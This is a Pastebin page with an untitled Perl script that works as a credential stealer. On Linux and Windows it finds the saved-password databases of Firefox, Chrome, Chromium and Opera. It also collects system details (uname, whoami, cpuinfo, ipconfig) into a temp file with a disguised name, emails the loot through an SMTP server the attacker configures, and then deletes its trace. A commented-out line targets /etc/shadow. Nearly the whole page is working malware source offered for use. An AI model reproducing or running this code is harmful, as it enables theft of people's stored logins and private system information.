Guest User

Untitled

a guest
Mar 14th, 2018
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.15 KB | None | 0 0
  1. #!/usr/bin/perl -X
  2. use Mail::Sender;
  3. use Encode;
  4. use File::Find::Rule;
  5. $|=1;
  6.  
  7. my $from = 'REPLACE@DOMAIN';
  8. my $to = 'REPLACE@DOMAIN';
  9. my $server = 'REPLACE';
  10. my $port = REPLACE;
  11.  
  12. $user = 'REPLACE';
  13. $password = 'REPLACE';
  14.  
  15. my $subject = 'Message';
  16. my $message = "Here we go:\n";
  17.  
  18.  
  19. $linux=1 if $ENV{HOME};
  20. $windows=1 if $ENV{APPDATA};
  21.  
  22. if($linux)
  23. {
  24.  
  25. @need_files =
  26. (
  27. "2>/dev/null find ~/.mozilla/firefox/ -name key3.db",
  28. "2>/dev/null find ~/.mozilla/firefox/ -name signons.sqlite",
  29. "2>/dev/null find ~/.config/chromium/Default -name 'Login Data'",
  30. "2>/dev/null find ~/.config/google/chrome/Default -name 'Login Data'",
  31. "2>/dev/null find ~/.opera/ -name wand.dat",
  32. );
  33. for($i=0;$i<=$#need_files;$i++)
  34. {
  35. open(SEARCH,"$need_files[$i] |");
  36. while(<SEARCH>)
  37. {
  38. s/[\r\n]//g; $files[$#files+1] = $_ if ! m/^$/ && -r $_;
  39. }
  40. close(SEARCH);
  41. }
  42.  
  43. @need_data =
  44. (
  45. "2>/dev/null uname -a",
  46. "2>/dev/null whoami",
  47. # "2>/dev/null ifconfig -a",
  48. "2>/dev/null cat /proc/cpuinfo",
  49. # "2>/dev/null cat /etc/shadow",
  50. );
  51. for($i=0;$i<=$#need_data;$i++)
  52. {
  53. open(DATA,"$need_data[$i] >> /tmp/libastral.lockfile |");
  54. close(DATA);
  55. }
  56. $files[$#files+1] = "/tmp/libastral.lockfile" if -o "/tmp/libastral.lockfile";
  57. }
  58.  
  59. if($windows)
  60. {
  61. $home = $ENV{APPDATA};
  62. # Encode::from_to($home,"cp1251","cp866");
  63.  
  64. @need_files =
  65. (
  66. "dir $home\\Mozilla\\Firefox\\ \/s \/b \| find \"key3.db\"",
  67. "dir $home\\Mozilla\\Firefox\\ \/s \/b \| find \"signons.sqlite\"",
  68. "dir $home\\Opera\\ \/s \/b \| find \"wand.dat\"",
  69. "dir \"$home\\..\\Local\\Google\\Chrome\\User Data\\Default\\\" \/s \/b \| find \"Login Data\"",
  70. "dir \"$home\\..\\Local\\Chromium\\User Data\\Default\\\" \/s \/b \| find \"Login Data\""
  71. );
  72.  
  73. @found = File::Find::Rule->file()->name( 'key3.db' )->in( "$home\\Mozilla\\Firefox\\" );
  74. $_ = $found[0]; s/[\r\n]//g; $files[$#files+1] = $_ if ! m/^$/; # && -r $_;
  75. @found = File::Find::Rule->file()->name( 'signons.sqlite' )->in( "$home\\Mozilla\\Firefox\\" );
  76. $_ = $found[0]; s/[\r\n]//g; $files[$#files+1] = $_ if ! m/^$/; # && -r $_;
  77. @found = File::Find::Rule->file()->name( 'wand.dat' )->in( "$home\\Opera\\" );
  78. $_ = $found[0]; s/[\r\n]//g; $files[$#files+1] = $_ if ! m/^$/; # && -r $_;
  79. @found = File::Find::Rule->file()->name( 'Login Data' )->in( "$home\\..\\Local\\Google\\Chrome\\User Data\\Default\\" );
  80. $_ = $found[0]; s/[\r\n]//g; $files[$#files+1] = $_ if ! m/^$/; # && -r $_;
  81. @found = File::Find::Rule->file()->name( 'Login Data' )->in( "$home\\..\\Local\\Chromium\\User Data\\Default\\" );
  82. $_ = $found[0]; s/[\r\n]//g; $files[$#files+1] = $_ if ! m/^$/; # && -r $_;
  83.  
  84.  
  85. open(DATA,"ipconfig |");
  86. while(<DATA>)
  87. {
  88. $message .= $_;
  89. }
  90. close(DATA);
  91.  
  92. }
  93.  
  94.  
  95.  
  96. $sender = new Mail::Sender
  97. {
  98. smtp => $server, from => $from, port => $port, auth => 'LOGIN', authid => $user, authpwd => $password
  99. };
  100.  
  101.  
  102. if ($#files>-1)
  103. {
  104. $sender->MailFile({
  105. to => $to,
  106. subject => $subject,
  107. msg => $message,
  108. file => \@files
  109. })
  110. }
  111. else
  112. {
  113. $sender->MailMsg({
  114. to => $to,
  115. subject => $subject,
  116. msg => $message
  117. })
  118. }
  119. open(RM,"rm -f /tmp/libastral.lockfile |") if $linux;
  120. close(RM) if $linux;
Add Comment
Please, Sign In to add comment